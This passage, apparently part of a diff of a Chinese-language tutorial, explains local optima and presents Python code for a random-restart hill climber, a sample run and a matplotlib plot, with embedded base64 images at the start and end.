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
+)
+
+在这一点上，使用新的适应性函数运行爬坡器可能会很好，但是存在一个问题：使用此适应性函数运行爬坡器不是一个好主意，因为它可能永远不会终止。 假设我们已经达到了所有邻居都具有相同或更差的适应度值的地步。 登山者无法在任何地方移动并永远被困在那里！ 搜索景观中的这种点称为*局部最优*。 如果达到了这一点，最简单的方法就是放弃并从新的随机点重新开始。 这就是我们在*随机重启*的爬坡器中所做的事情。
+
+```py
+def restarting_hillclimber(fitness_function):
+    data = []
+
+    # Create and evaluate starting point
+    x, y = random.randint(MIN, MAX), random.randint(MIN, MAX)
+    fitness = fitness_function(x, y)
+    data += [fitness]
+    print("Initial value: %d, %d at fitness %.4f" % (x, y, fitness))
+    iterations = 0
+
+    # Stop once we have found an optimal solution
+    while fitness > 0:
+        changed = False
+        iterations += 1
+        # Move to first neighbour with a better fitness
+        for (nextx, nexty) in neighbours(x, y):
+            new_fitness = fitness_function(nextx, nexty)
+            if new_fitness < fitness:
+                x, y = nextx, nexty
+                fitness = new_fitness
+                data += [fitness]
+                changed = True
+                break
+        if not changed:
+            x, y = random.randint(MIN, MAX), random.randint(MIN, MAX)
+            fitness = fitness_function(x, y)
+            data += [fitness]
+
+    print("Found optimum after %d iterations at %d, %d" % (iterations, x, y))
+    return data
+
+```
+
+这种变化是微不足道的：我们只是简单地跟踪是否有布尔标志发生任何移动，如果我们没有移至任何邻居，那么我们将选择一个新的随机位置重新开始。 为了方便起见，我们还使用健身功能对爬坡器进行了参数化。 让我们用`bad_fitness`进行试验，并绘制我们观察到的结果适应度值：
+
+```py
+MAX = 1000
+MIN = -MAX
+
+```
+
+```py
+data = restarting_hillclimber(bad_fitness)
+
+```
+
+```py
+Initial value: 333, 231 at fitness 582804.0000
+Found optimum after 165 iterations at 521, 521
+
+```
+
+```py
+import [matplotlib.pyplot](https://docs.python.org/3/library/matplotlib.pyplot.html) as [plt](https://docs.python.org/3/library/plt.html)
+
+```
+
+```py
+fig = plt.figure()
+ax = plt.axes()
+
+x = range(len(data))
+ax.plot(x, data);
+
+```
+
+![](data:image/png;base64,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